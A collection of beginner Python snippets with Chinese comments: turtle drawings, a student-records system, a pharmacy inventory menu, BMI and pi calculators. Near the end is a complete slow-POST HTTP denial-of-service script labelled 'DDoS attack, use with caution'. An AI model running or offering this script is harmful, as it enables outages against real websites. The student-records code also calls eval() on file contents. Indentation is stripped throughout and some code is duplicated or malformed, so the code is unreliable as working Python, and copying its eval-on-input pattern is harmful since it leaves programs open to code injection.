# font:设定字体、尺寸(电脑下存在的字体都可设置) align:中心对齐
turtle.write(love, font=('Arial', 20, 'bold'), align="center")
# 签写署名和日期
if (signature != '') & (date != ''):
turtle.color('red', 'pink')
time.sleep(2)
move_pen_position(220, -180)
turtle.hideturtle() # 隐藏画笔
turtle.write(signature, font=('Arial', 20), align="center")
move_pen_position(220, -220)
turtle.hideturtle() # 隐藏画笔
turtle.write(date, font=('Arial', 20), align="center")
#1-5点击窗口关闭程序
window = turtle.Screen()
window.exitonclick()
------------------------------------------------------------------------------------
# 用上下键来控制走向
import turtle
t = turtle.Pen()
t.speed(0)
t.turtlesize(2,2,2)
def up():
t.forward(50)
def left():
t.left(90)
def right():
t.right(90)
turtle.onkeypress(up, "Up")
turtle.onkeypress(left, "Left")
turtle.onkeypress(right, "Right")
turtle.listen()
--------------------------------------------------------------------------
import random
import turtle
t = turtle.Pen()
t.speed(0)
turtle.bgcolor("black")
colors = ["red", "blue", "yellow", "green", "orange", "purple", "white", "gray"]
def spiral(x,y):
t.pencolor(random.choice(colors))
size = random.randint(10,40)
t.penup()
t.setpos(x,y)
t.pendown()
for m in range(size):
t.forward(m*2)
t.left(91)
turtle.onscreenclick(spiral)
import random
import turtle
t = turtle.Pen()
t.speed(0)
t.hideturtle()
turtle.bgcolor("black")
def draw_smiley(x,y):
t.penup()
t.setpos(x,y)
t.pendown()
t.pencolor("yellow")
t.fillcolor("yellow")
t.begin_fill()
t.circle(50)
t.end_fill()
# left eye
t.setpos(x - 15, y + 60)
t.fillcolor("blue")
t.begin_fill()
t.circle(10)
t.end_fill()
# right eye
t.setpos(x + 15, y + 60)
t.begin_fill()
t.circle(10)
t.end_fill()
mouth
t.setpos(x - 25, y + 40)
t.pencolor("black")
t.width(10)
t.goto(x - 10, y + 20)
t.goto(x + 10, y + 20)
t.goto(x + 25, y + 40)
t.width(1)
turtle.onscreenclick(draw_smiley)
-------------------------------------------------------------------------------
import os
#判断磁盘文件中该id的学生是否已经存在
#存在返回True,不存在返回False
def isId_exist(filename,stu_id):
is_exist = False
file = open(filename,'r')
if os.path.getsize(filename):
lst = file.readlines() #读取的每行学生信息格式:{'id': '1', 'stu_name': 'hanrui', 'english': 1.0, 'python': 1.0, 'java': 1.0}
for item in lst:
stu = dict(eval(item)) #将字符串转为字典
if stu['id'] == stu_id:
is_exist = True
return is_exist
#判断磁盘文件中该name的学生是否已经存在
#存在返回True,不存在返回False
def isName_exist(filename,stu_name):
is_exist = False
file = open(filename, 'r')
if os.path.getsize(filename):
lst = file.readlines() # 读取的每行学生信息格式:{'id': '1', 'stu_name': 'hanrui', 'english': 1.0, 'python': 1.0, 'java': 1.0}
for item in lst:
stu = dict(eval(item)) # 将字符串转为字典
if stu['stu_name'] == stu_name:
is_exist = True
return is_exist
#将学生信息写到磁盘文件中
def save(filename,string):
with open(filename,'a') as file:
file.write(string+'\n')
'''
从控制台录入学生信息,并把他们保存到磁盘文件student.txt中
学生成绩包括:学生id,学生姓名,英语成绩,python成绩和java成绩
在student.txt中以字典格式存储
'''
def insert(filename):
while True:
stu_id = input('请输入学生ID:')
# 学生id非空且学生id不存在时
if stu_id.strip() == '': # 或者if not stu_id,因为空字符串的布尔值为False
print('学生ID不可为空')
continue
if not isId_exist(filename,stu_id):
stu_name = input('请输入学生姓名:')
while stu_name.strip() == '':
stu_name = input('学生姓名不可为空,请重新输入学生姓名')
stu_age = input('请输入学生年龄:')
while stu_age.strip() == '':
stu_age =input('学生年龄不能为空,请重新输入')
stu_sex = input('请输入学生性别:')
while stu_sex.strip() == '':
stu_sex = input('学生性别不能为空,重新输入性别')
stu_pro = input('请输入专业:')
while stu_pro.strip() =='':
stu_pro = input('学生专业不可为空,重新输入')
stu_day = input('请输入学生入学时间(yyyy-mm-dd):')
while stu_day.strip() =='':
stu_day = input('入学时间不能为空,请重新输入')
try:
english = float(input('请输入该学生英语成绩:'))
while english < 0 or english >100:
english = float(input('分数不在合理范围内,请重新输入该学生英语成绩:'))
python = float(input('请输入该学生python成绩:'))
while python < 0 or python > 100:
python = float(input('分数不在合理范围内,请重新输入该学生python成绩:'))
java = float(input('请输入该学生java成绩:'))
while java < 0 or java > 100:
java = float(input('分数不在合理范围内,请重新输入该学生java成绩:'))
except ValueError:
print('学生成绩必须是0-100之间的数字噢!')
dict = {'id':stu_id,'stu_name':stu_name,'stu_age':stu_age,'stu_sex':stu_sex,'stu_pro':stu_pro,'english':english,'python':python,'java':java,'stu_day':stu_day}
save(filename,str(dict))
choice = input('是否继续录入?(输入y或n)')
if choice == 'y' or choice == 'Y':
continue
else:
print('成功录入学生信息')
break
#学生id存在,可以选择修改该学生信息,或者继续录入其他学生
else:
choice = input('该学生已经存在,是否修改该学生信息?(输入y或n)')
if choice == 'y' or choice == 'Y':
modify(filename)
else:
choice = input('是否继续录入学生信息?(输入y或n)')
if choice == 'y' or choice == 'Y':
continue
else:
break
'''
从控制台录入学生ID或姓名,到磁盘文件中找到对应的学生信息
'''
def search(filename):
while True:
if os.path.exists(filename):
stu_search = input('请输入要查找的学生ID或学生姓名:')
stu_find = []
with open(filename,'r') as file:
lst = file.readlines()
flag = False
for item in lst:
d = dict(eval(item))
if d['id'] == stu_search or d['stu_name'] == stu_search:
flag = True
stu_find.append(item)
if flag:
show_lst(stu_find)
else:
print('很抱歉,没有查询到该学生,无数据显示。')
choice = input('是否继续查询(输入y或n)?')
if choice == 'y' or choice == 'Y':
continue
else:
break
else:
print('查询失败,学生信息文件不存在')
'''
从控制台录入学生ID,到磁盘文件中找到对应的学生信息,并将其删除
'''
def delete(filename,stu_id=None):
while True:
if stu_id == None:
stu_id = input('请输入要删除的学生ID:')
students = []
if os.path.exists(filename) and isId_exist(filename, stu_id):
with open(filename,'r',encoding='utf-8') as file:
lst = file.readlines()
for item in lst:
stu = dict(eval(item)) # 将字符串转换为字典
if stu['id'] == stu_id:
continue
else:
students.append(stu)
os.remove(filename)
for stu in students:
save(filename, str(stu))
print('删除成功,已将ID为' + stu_id + '的学生信息删除')
elif not isId_exist(filename, stu_id):
print(f'删除失败,ID为{stu_id}的学生不存在。')
elif not os.path.exists(filename):
print('删除失败,学生信息文件不存在。')
choice = input('是否继续删除学生信息?(输入y或n)')
if choice =='y' or choice == 'Y':
continue
else:
break
'''
从控制台录入学生ID,到磁盘文件中找到对应的学生信息,将其进行修改
'''
def modify(filename):
while True:
stu_id = input('请输入要修改的学生ID:')
if os.path.exists(filename) and isId_exist(filename,stu_id):
students = []
with open(filename,'r') as file:
lst = file.readlines()
for item in lst:
stu = dict(eval(item))
if stu['id'] == stu_id:
new_id = input('输入修改后的学生ID(不修改请直接回车):')
if new_id == '': #没有输入修改值,则默认不改变
new_id = stu['id']
new_name = input('输入修改后的学生姓名(不修改请直接回车):')
if new_name == '':
new_name = stu['stu_name']
try:
new_python = float(input('输入修改后的python成绩(不修改请直接回车):'))
if new_python == '':
new_python = stu['python']
while new_python < 0 or new_python > 100:
new_python = float(input('分数不在合理范围内,请重新输入该学生的python成绩:'))
new_english = float(input('输入修改后的english成绩(不修改请直接回车):'))
if new_english == '':
new_english = stu['english']
while new_english < 0 or new_english > 100:
new_english = float(input('分数不在合理范围内,请重新输入该学生的english成绩:'))
new_java = float(input('输入修改后的java成绩(不修改请直接回车):'))
if new_java == '':
new_java = stu['java']
while new_java < 0 or new_java > 100:
new_java = float(input('分数不在合理范围内,请重新输入该学生的java成绩:'))
except ValueError:
print('学生成绩必须是0-100之间的数字噢!')
continue
d = {'id':new_id,'stu_name':new_name,'english':new_english,'python':new_python,'java':new_java,}
students.append(str(d))
else:
students.append(stu)
os.remove(filename)
for student in students:
save(filename,str(student))
print('修改成功,学生信息已更新')
elif not isId_exist(filename, stu_id):
print(f'修改失败,ID为{stu_id}的学生不存在。')
elif not os.path.exists(filename):
print('修改失败,学生信息文件不存在。')
choice = input('是否继续修改其他学生信息?(输入y或n)')
if choice =='y' or choice == 'Y':
continue
else:
break
'''
主要对学生信息按英语成绩、Python成绩、java成绩、总成绩进行升序或降序排序
'''
def sort(filename):
if os.path.exists(filename):
with open(filename,'r',encoding='utf-8') as file:
student_list = file.readlines()
student_dict = []
#读取文件中的每一行是以字符串形式,将每一行字符串转成字典重新添加到列表中
for item in student_list:
student_dict.append(dict(eval(item)))
subject = input('按英语成绩排序请选1,按Python成绩排序请选2,按java成绩排序请选3,按总成绩排序请选4:')
asc_or_desc = input('升序请选1,降序请选2:')
if asc_or_desc =='1':
desc = False
elif asc_or_desc == '2':
desc = True
else:
print('输入有误,请重新输入')
sort(filename)
if subject == '1':
student_dict.sort(key=lambda x: float(x['english']), reverse=desc)
elif subject == '2':
student_dict.sort(key=lambda x: float(x['python']), reverse=desc)
elif subject == '3':
student_dict.sort(key=lambda x: float(x['java']), reverse=desc)
elif subject == '4':
student_dict.sort(key=lambda x: float(x['english'])+float(x['python'])+float(x['java']), reverse=desc)
else:
print('输入有误,请重新输入')
sort(filename)
student_list.clear()
for item in student_dict:
student_list.append(str(item))
show_lst(student_list)
else:
print('排序失败,学生信息文件不存在')
#统计学生信息文件中的学生总人数
def total(filename):
if os.path.exists(filename):
with open(filename,'r') as file:
lst = file.readlines()
if len(lst) == 0 :
print('还没有录入学生信息,总共有0名同学')
return
else:
print(f'总共有{len(lst)}名同学')
else :
print('学生信息文件不存在,无法统计')
#将列表中的学生信息显示
def show_lst(lst):
# 定义标题显示格式
format_title = '{:^6}\t{:^10}\t{:^6}\t{:^6}\t{:^6}\t{:^8}\t{:^10}\t{:^10}\t{:^8}{:^10}\t'
# 定义内容显示格式
format_content = '{:^6}\t{:^12}\t{:^8}\t{:^8}\t{:^8}\t{:^8}\t{:^6}\t{:^24}\t{:^0}{:^12}\t'
if len(lst) != 0 :
print(format_title.format('ID', '姓名', '年龄','性别','专业','英语成绩', 'Python成绩', 'Java成绩', '总成绩','入学时间'))
for item in lst:
d = dict(eval(item))
print(format_content.format(d['id'],d['stu_name'],d['stu_age'],d['stu_sex'],d['stu_pro'],d['english'],d['python'],d['java'],d['english']+d['python']+d['java'],d['stu_day']))
else:
print('无数据显示')
#将学生信息文件student.txt中保存的所有学生信息获取并显示出来
def show_all(filename):
if os.path.exists(filename):
with open(filename, 'r') as file:
lst = file.readlines()
show_lst(lst)
else:
print('显示失败,学生信息文件不存在')
def menu():
print('==============学生信息管理系统==============')
print('------------------功能菜单------------------')
print('\t1.录入学生信息\t\t2.查找学生信息')
print('\t3.删除学生信息\t\t4.修改学生信息')
print('\t5.排序\t\t\t\t6.统计总人数')
print('\t7.显示所有学生信息\t8.退出系统')
print('-------------------------------------------')
#主函数
def main(filename):
while True:
menu() #显示菜单
try:
choice = int(input('请选择功能(输入数字1-8):'))
if choice < 1 or choice > 8:
print('输入错误,请重新输入。')
continue
elif choice == 1:
insert(filename)
elif choice == 2:
search(filename)
elif choice == 3:
delete(filename)
elif choice == 4:
modify(filename)
elif choice == 5:
sort(filename)
elif choice == 6:
total(filename)
elif choice == 7:
show_all(filename)
elif choice == 8:
answer = input('确定退出系统吗(输入y或n):')
if answer == 'y' or answer == 'Y':
print('~~~~~~~~~~~~~~感谢使用~~~~~~~~~~~~~~')
break
else:
continue
except ValueError:
print('输入错误数字,请重新输入。')
if __name__ == '__main__':
filename = 'student.txt'
open(filename,'a')
main(filename)
----------------------------------------------------------------------
import os
def save():
file_handle = open('phone.txt', 'w')
for phone in phone_list:
s = ' '.join(phone)
file_handle.write(s)
file_handle.write('\n')
def read():
rs = os.path.exists('phone.txt')
if rs == True:
file_handle = open('phone.txt', 'r')
contents = file_handle.readlines()
for x in contents:
x = x.strip('\n')
list = x.split(' ')
phone_list.append(list)
file_handle.close()
def search():
if (len(phone_list) == 0):
print(' (空) ')
for put in range(0, len(phone_list)):
search_list = phone_list[put]
name = search_list[0]
print('编号:%s,药物名称:%s' % (put, name))
def search_all():
if (len(phone_list) == 0):
print(' (列表为空,无法查询!) ')
return
for put in range(0, len(phone_list)):
search_list = phone_list[put]
name = search_list[0]
price = search_list[1]
stock = search_list[2]
print('编号:%s,药物名称:%s,价格:%s,库存:%s' % (put, name, price, stock))
def search_buy():
print('-----------------------------------------')
put = int(input('请输入您要购买的产品编号:'))
while put not in range(0, len(phone_list)):
put = int(input('编号不存在,请重新输入:'))
buy_list = phone_list[put]
stock = buy_list[2]
stock = int(stock)
stock -= 1
buy_list[2] = stock
phone_list[put] = buy_list
print('-----------------------------------------')
print('购买的编号为%s的产品成功!' % put)
if stock == 0:
del phone_list[put]
save()
def change():
if len(phone_list) == 0:
print('-----------------------------------------')
print('没有产品信息,无法修改!')
search_all()
print('-----------------------------------------')
put = int(input('请输入您要修改产品的编号:'))
while put not in range(0, len(phone_list)):
put = int(input('您输入的编号不存在,请重新输入:'))
old_list = phone_list[put]
name = old_list[0]
price = old_list[1]
stock = old_list[2]
new_name = input('请输入新的药物名称(%s):' % name)
new_price = input('请输入新的产品价格(%s):' % price)
new_stock = input('请输入新的产品库存(%s):' % stock)
phone_list[put] = [new_name, new_price, new_stock]
print()
save()
def add():
print('-----------------------------------------')
name = input('请输入您要添加的药物名称:')
price = input('请输入该产品的价格:')
stock = input('请输入该产品的库存:')
# 将产品信息封装为一个小字典
# phone = {'name':name, 'price':price, 'stock':stock}
# phone_list.append(phone)
phone_list.append([name, price, stock])
print('添加产品成功!')
save()
def delete():
if len(phone_list) == 0:
print('----------------------------')
print('没有信息,无法删除!')
return
search_all()
print('-----------------------------------------')
put = int(input('请输入您要删除的产品编号:'))
while put not in range(0, len(phone_list)):
put = int(input('编号不存在,请重新输入:'))
del phone_list[put]
print('删除成功!')
save()
def delete_all():
phone_list.clear()
print('*****************************************')
print("****** 所有产品信息已清空! ******")
save()
phone_list = []
read()
while True:
print('-----------------------------------------')
print('---------- 1.查看所有药物信息 ----------')
print('---------- 2.更改产品库存信息 ----------')
print('---------- 3.移除产品库存信息 ----------')
print('---------- 4.退出程序 ----------')
print('-----------------------------------------')
num = int(input('请输入您要进行的操作:'))
while num not in range(1,5):
num = int(input('编号不存在,请重新输入:'))
if num == 1:
search()
print('-----------------------------------------')
print('1.选择产品编号查看详情')
print('2.返回')
print('-----------------------------------------')
num_1 = int(input('请输入您要进行的操作:'))
while num_1 not in range(1, 3):
num_1 = int(input('编号不存在,请重新输入:'))
if num_1 == 1:
put = int(input('请选择查看详情的产品编号:'))
while put not in range(0, len(phone_list)):
put = int(input('编号不存在,请重新输入:'))
search_list = phone_list[put]
name = search_list[0]
price = search_list[1]
stock = search_list[2]
print('编号:%s,药物名称:%s,价格:%s,库存:%s' % (put, name, price, stock))
print('-----------------------------------------')
print('1.购买')
print('2.返回')
print('-----------------------------------------')
num_2 = int(input('请输入您要进行的操作:'))
while num_2 not in range(1, 3):
num_2 = int(input('编号不存在,请重新输入:'))
if num_2 == 1:
search_buy()
else:
continue
else:
continue
elif num == 2:
print('-----------------------------------------')
print('1.添加新产品')
print('2.修改原有产品')
print('-----------------------------------------')
num_3 = int(input('请输入您要进行的操作:'))
while num_3 not in range(1, 3):
num_3 = int(input('编号不存在,请重新输入:'))
if num_3 == 1:
add()
else:
search_all()
print('-----------------------------------------')
print('1.根据选择序号进行修改')
print('2.返回上一级')
print('-----------------------------------------')
num_4 = int(input('请输入您要进行的操作:'))
while num_4 not in range(1, 3):
num_4 = int(input('编号不存在,请重新输入:'))
if num_4 == 1:
change()
else:
continue
elif num == 3:
print('-----------------------------------------')
print('1.根据编号删除产品')
print('2.删除所有产品')
print('3.返回')
print('-----------------------------------------')
num_5 = int(input('请输入您要进行的操作:'))
while num_5 not in range(1, 4):
num_5 = int(input('编号不存在,请重新输入:'))
if num_5 == 1:
delete()
elif num_5 == 2:
sure = input('确定删除所有产品信息?y(确定)/n(取消)')
if sure == 'y':
delete_all()
elif sure == 'n':
print('-----------------------------------------')
print('清空操作已取消!')
else:
print('输入有误,请重新输入')
else:
continue
else:
print('谢谢使用,再见!')
break
--------------------------------------------------------------------
from turtle import *
def curvemove():
for i in range(200):
right(1)
forward(1)
color('red','pink')
begin_fill()
left(140)
forward(111.65)
curvemove()
left(120)
curvemove()
forward(111.65)
end_fill()
done()
---------------------------------------------------------------------------------------
from turtle import *
from random import *
from math import *
def tree(n, l):
pd()
t = cos(radians(heading() + 45)) / 8 + 0.25
pencolor(t, t, t)
pensize(n / 4)
forward(l)
if n > 0:
b = random() * 15 + 10
c = random() * 15 + 10
d = l * (random() * 0.35 + 0.6)
right(b)
tree(n - 1, d)
left(b + c)
tree(n - 1, d)
right(c)
else:
right(90)
n = cos(radians(heading() - 45)) / 4 + 0.5
pencolor(n, n, n)
circle(2)
left(90)
pu()
backward(l)
bgcolor(0.5, 0.5, 0.5)
ht()
speed(0)
tracer(0, 0)
left(90)
pu()
backward(300)
tree(13, 100)
done()
-------------------------------------------------------------------------
import turtle as t
t.title('自动轨迹绘制')
t.setup(800,600,0,0)
t.pencolor("red")
t.pensize(5)
datals=[]
f=open("data.txt")
for line in f:
line = line.replace("\n","")
datals.append(list(map(eval,line.split(","))))
f.close()
for i in range(len(datals)):
t.pencolor(datals[i][3],datals[i][4],datals[i][5])
t.fd(datals[i][0])
if datals[i][1]:
t.right(datals[i][2])
else:
t.left(datals[i][2])
自动轨迹
----------------------------------------------------------------------
#calbmiv1.py
height,weight=eval(input("请输入身高(米)和体重\(千克)[逗号隔开]:"))
bmi=weight/pow(height,2)
print("BMI数值是:{:.2f}".format(bmi))
who=""
if bmi < 18.5:
who = "偏瘦"
elif 18.5 <= bmi < 25:
who = "正常"
elif 25 <= bmi <30:
who = "偏胖"
else:
who = "肥胖"
print("BMI指标为:国际‘{0}’".format(who))
-------------------------------------------------------------------------------
# 画指定的任意圆弧
def arc(sa,ea,x,y,r):#start angle,end angle,circle center,radius
turtle.penup()
turtle.goto(x,y)
turtle.setheading(0)
turtle.left(sa)
turtle.fd(r)
turtle.pendown()
turtle.left(90)
turtle.circle(r,(ea-sa))
return turtle.position()
turtle.hideturtle()
#画脸
turtle.speed(5)
turtle.setup(900,600,200,200)
turtle.pensize(5)
turtle.right(90)
turtle.penup()
turtle.fd(100)
turtle.left(90)
turtle.pendown()
turtle.begin_fill()
turtle.pencolor("#B26A0F")#head side color
turtle.circle(150)
turtle.fillcolor("#F9E549")#face color
turtle.end_fill()
#画嘴
turtle.penup()
turtle.goto(77,20)
turtle.pencolor("#744702")
turtle.goto(0,50)
turtle.right(30)
turtle.fd(110)
turtle.right(90)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#925902")#mouth color
turtle.circle(-97,160)
turtle.goto(92,-3)
turtle.end_fill()
turtle.penup()
turtle.goto(77,-25)
#画牙齿
turtle.pencolor("white")
turtle.begin_fill()
turtle.fillcolor("white")
turtle.goto(77,-24)
turtle.goto(-81,29)
turtle.goto(-70,43)
turtle.goto(77,-8)
turtle.end_fill()
turtle.penup()
turtle.goto(0,-100)
turtle.setheading(0)
turtle.pendown()
#画左边眼泪
turtle.left(90)
turtle.penup()
turtle.fd(150)
turtle.right(60)
turtle.fd(-150)
turtle.pendown()
turtle.left(20)
turtle.pencolor("#155F84")#tear side color
turtle.fd(150)
turtle.right(180)
position1=turtle.position()
turtle.begin_fill()
turtle.fillcolor("#7EB0C8")#tear color
turtle.fd(150)
turtle.right(20)
turtle.left(270)
turtle.circle(-150,18)
turtle.right(52)
turtle.fd(110)
position2=turtle.position()
turtle.goto(-33,90)
turtle.end_fill()
#画右边眼泪
turtle.penup()
turtle.goto(0,0)
turtle.setheading(0)
turtle.left(90)
turtle.fd(50)
turtle.right(150)
turtle.fd(150)
turtle.left(150)
turtle.fd(100)
turtle.pendown()
turtle.begin_fill()
turtle.fd(-100)
turtle.fillcolor("#7EB0C8")#tear color
turtle.right(60)
turtle.circle(150,15)
turtle.left(45)
turtle.fd(66)
turtle.goto(77,20)
turtle.end_fill()
#画眼睛
turtle.penup()
turtle.pencolor("#6C4E00")#eye color
turtle.goto(-65,75)
turtle.setheading(0)
turtle.left(27)
turtle.fd(38)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#6C4E00")#eye color
turtle.left(90)
turtle.circle(38,86)
turtle.goto(position2[0],position2[1])
turtle.goto(position1[0],position1[1])
turtle.end_fill()
#画手
turtle.pencolor("#D57E18")#hand side color
turtle.begin_fill()
turtle.fillcolor("#EFBD3D")#hand color
#第一个手指
arc(-110,10,110,-40,30)
turtle.circle(300,35)
turtle.circle(13,120)
turtle.setheading(-50)
turtle.fd(20)
turtle.setheading(130)
#第二个手指
turtle.circle(200,15)
turtle.circle(12,180)
turtle.fd(40)
turtle.setheading(137)
#第三个手指
turtle.circle(200,16)
turtle.circle(12,160)
turtle.setheading(-35)
turtle.fd(45)
turtle.setheading(140)
#第四个手指
turtle.circle(200,13)
turtle.circle(11,160)
turtle.setheading(-35)
turtle.fd(40)
turtle.setheading(145)
#第五个手指
turtle.circle(200,9)
turtle.circle(10,180)
turtle.setheading(-31)
turtle.fd(50)
#画最后手腕的部分
turtle.setheading(-45)
turtle.pensize(7)
turtle.right(5)
turtle.circle(180,35)
turtle.end_fill()
turtle.begin_fill()
turtle.setheading(-77)
turtle.pensize(5)
turtle.fd(50)
turtle.left(-270)
turtle.fd(7)
turtle.pencolor("#EFBD3D")
turtle.circle(30,180)
turtle.end_fill()
#测试
# res=arc(70,220,90,50,300)
# print(res[0],res[1])
turtle.done()
#@project = facepalm
#@file = main
#@author = Maoliang Ran
#@create_time = 2018/8/28 22:57
import turtle
# 画指定的任意圆弧
def arc(sa,ea,x,y,r):#start angle,end angle,circle center,radius
turtle.penup()
turtle.goto(x,y)
turtle.setheading(0)
turtle.left(sa)
turtle.fd(r)
turtle.pendown()
turtle.left(90)
turtle.circle(r,(ea-sa))
return turtle.position()
turtle.hideturtle()
#画脸
turtle.speed(5)
turtle.setup(900,600,200,200)
turtle.pensize(5)
turtle.right(90)
turtle.penup()
turtle.fd(100)
turtle.left(90)
turtle.pendown()
turtle.begin_fill()
turtle.pencolor("#B26A0F")#head side color
turtle.circle(150)
turtle.fillcolor("#F9E549")#face color
turtle.end_fill()
#画嘴
turtle.penup()
turtle.goto(77,20)
turtle.pencolor("#744702")
turtle.goto(0,50)
turtle.right(30)
turtle.fd(110)
turtle.right(90)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#925902")#mouth color
turtle.circle(-97,160)
turtle.goto(92,-3)
turtle.end_fill()
turtle.penup()
turtle.goto(77,-25)
#画牙齿
turtle.pencolor("white")
turtle.begin_fill()
turtle.fillcolor("white")
turtle.goto(77,-24)
turtle.goto(-81,29)
turtle.goto(-70,43)
turtle.goto(77,-8)
turtle.end_fill()
turtle.penup()
turtle.goto(0,-100)
turtle.setheading(0)
turtle.pendown()
#画左边眼泪
turtle.left(90)
turtle.penup()
turtle.fd(150)
turtle.right(60)
turtle.fd(-150)
turtle.pendown()
turtle.left(20)
turtle.pencolor("#155F84")#tear side color
turtle.fd(150)
turtle.right(180)
position1=turtle.position()
turtle.begin_fill()
turtle.fillcolor("#7EB0C8")#tear color
turtle.fd(150)
turtle.right(20)
turtle.left(270)
turtle.circle(-150,18)
turtle.right(52)
turtle.fd(110)
position2=turtle.position()
turtle.goto(-33,90)
turtle.end_fill()
#画右边眼泪
turtle.penup()
turtle.goto(0,0)
turtle.setheading(0)
turtle.left(90)
turtle.fd(50)
turtle.right(150)
turtle.fd(150)
turtle.left(150)
turtle.fd(100)
turtle.pendown()
turtle.begin_fill()
turtle.fd(-100)
turtle.fillcolor("#7EB0C8")#tear color
turtle.right(60)
turtle.circle(150,15)
turtle.left(45)
turtle.fd(66)
turtle.goto(77,20)
turtle.end_fill()
#画眼睛
turtle.penup()
turtle.pencolor("#6C4E00")#eye color
turtle.goto(-65,75)
turtle.setheading(0)
turtle.left(27)
turtle.fd(38)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#6C4E00")#eye color
turtle.left(90)
turtle.circle(38,86)
turtle.goto(position2[0],position2[1])
turtle.goto(position1[0],position1[1])
turtle.end_fill()
#画手
turtle.pencolor("#D57E18")#hand side color
turtle.begin_fill()
turtle.fillcolor("#EFBD3D")#hand color
#第一个手指
arc(-110,10,110,-40,30)
turtle.circle(300,35)
turtle.circle(13,120)
turtle.setheading(-50)
turtle.fd(20)
turtle.setheading(130)
#第二个手指
turtle.circle(200,15)
turtle.circle(12,180)
turtle.fd(40)
turtle.setheading(137)
#第三个手指
turtle.circle(200,16)
turtle.circle(12,160)
turtle.setheading(-35)
turtle.fd(45)
turtle.setheading(140)
#第四个手指
turtle.circle(200,13)
turtle.circle(11,160)
turtle.setheading(-35)
turtle.fd(40)
turtle.setheading(145)
#第五个手指
turtle.circle(200,9)
turtle.circle(10,180)
turtle.setheading(-31)
turtle.fd(50)
#画最后手腕的部分
turtle.setheading(-45)
turtle.pensize(7)
turtle.right(5)
turtle.circle(180,35)
turtle.end_fill()
turtle.begin_fill()
turtle.setheading(-77)
turtle.pensize(5)
turtle.fd(50)
turtle.left(-270)
turtle.fd(7)
turtle.pencolor("#EFBD3D")
turtle.circle(30,180)
turtle.end_fill()
#测试
# res=arc(70,220,90,50,300)
# print(res[0],res[1])
turtle.done()
---------------------------------------------------------------------------------
pi=0
N=100
for k in range(N):
pi+=1/pow(16,k)*(4/(8*k+1)-2/(8*k+4)-1/(8*k+5)-1/(8*k+6))
print("圆周率的值是:{}".format(pi))
#cal2
from random import random
from time import perf_counter
DARTS=1000*1000
hits=0.0
start=perf_counter()
for i in range(1,DARTS+1):
x,y=random(),random()
dist=pow(x**2+y**2,0.5)
if dist<=1.0:
hits=hits+1
pi=4*(hits/DARTS)
print("圆周率的值是:{}".format(pi))
print("运行时间是:{:.5f}s".format(perf_counter()-start))
加油
-------------------------------------------------
User_input = input('输入:年-月-日')
Year = int(User_input.split('-')[0]) ##得到年份
Month = int(User_input.split('-')[1]) ##得到月份
Day = int(User_input.split('-')[2]) ##得到天
li = [31,28,31,30,31,30,31,31,30,31,30,31] ##所有平年各个月份的天数
num = 0 ##记录天数
if ((Year % 4 == 0) and (Year % 100 != 0) or (Year % 400 == 0)): ##当闰年时:
li[1] = 29 ##将二月的天数改为29
for i in range(12): ##遍历月份
if Month > i + 1: ##i从0开始,假如是5月的某一天,i循环到3停止,经过0-1-2-3四次循环,取4个月份即取1-2-3-4月的所有天
num += li[i] ##将1-4月总天数求和
else: ##退出if判断后,当下一次循环时,i=4,i+1不满足if的条件,进入else,将最后5月的第几天加入总天数中
num += Day
break
print('这一天是%d年的第%d天' %(Year,num))
------------------------------------------------------------
import socket
import time
import threading
MAX_CONN = 200000 # 最大socket链接量
PORT = 80
HOST = ""
PAGE = ""
buf = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, HOST))
# 创建socket链接列表,存储上20万个socket
socks = []
# 循环创建socket链接
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(buf.encode("utf-8"))
print("Send buf OK!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("Could not connect to server or send error:%s" % ex)
time.sleep(1)
# socket循环对目标网站发数据
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode("utf-8"))
print("send f OK!")
except Exception as ex:
print("Send Exception:%s\n" % ex)
socks.remove(s)
s.close()
time.sleep(0.1)
# 多线程执行两个函数
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
ddos攻击 慎重使用
-----------------------------------------------------------
import turtle as t
t.speed(10)
t.pensize(8)
t.hideturtle()
t.screensize(500, 500, bg='white')
# 猫脸
t.fillcolor('#00A1E8')
t.begin_fill()
t.circle(120)
t.end_fill()
t.pensize(3)
t.fillcolor('white')
t.begin_fill()
t.circle(100)
t.end_fill()
t.pu()
t.home()
t.goto(0, 134)
t.pd()
t.pensize(4)
t.fillcolor("#EA0014")
t.begin_fill()
t.circle(18)
t.end_fill()
t.pu()
t.goto(7, 155)
t.pensize(2)
t.color('white', 'white')
t.pd()
t.begin_fill()
t.circle(4)
t.end_fill()
t.pu()
t.goto(-30, 160)
t.pensize(4)
t.pd()
t.color('black', 'white')
t.begin_fill()
a = 0.4
for i in range(120):
if 0 <= i < 30 or 60 <= i < 90:
a = a+0.08
t.lt(3) #向左转3度
t.fd(a) #向前走a的步长
else:
a = a-0.08
t.lt(3)
t.fd(a)
t.end_fill()
t.pu()
t.goto(30, 160)
t.pensize(4)
t.pd()
t.color('black', 'white')
t.begin_fill()
for i in range(120):
if 0 <= i < 30 or 60 <= i < 90:
a = a+0.08
t.lt(3) # 向左转3度
t.fd(a) # 向前走a的步长
else:
a = a-0.08
t.lt(3)
t.fd(a)
t.end_fill()
t.pu()
t.goto(-38,190)
t.pensize(8)
t.pd()
t.right(-30)
t.forward(15)
t.right(70)
t.forward(15)
t.pu()
t.goto(15, 185)
t.pensize(4)
t.pd()
t.color('black', 'black')
t.begin_fill()
t.circle(13)
t.end_fill()
t.pu()
t.goto(13, 190)
t.pensize(2)
t.pd()
t.color('white', 'white')
t.begin_fill()
t.circle(5)
t.end_fill()
t.pu()
t.home()
t.goto(0, 134)
t.pensize(4)
t.pencolor('black')
t.pd()
t.right(90)
t.forward(40)
t.pu()
t.home()
t.goto(0, 124)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(10)
t.forward(80)
t.pu()
t.home()
t.goto(0, 114)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(6)
t.forward(80)
t.pu()
t.home()
t.goto(0,104)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(0)
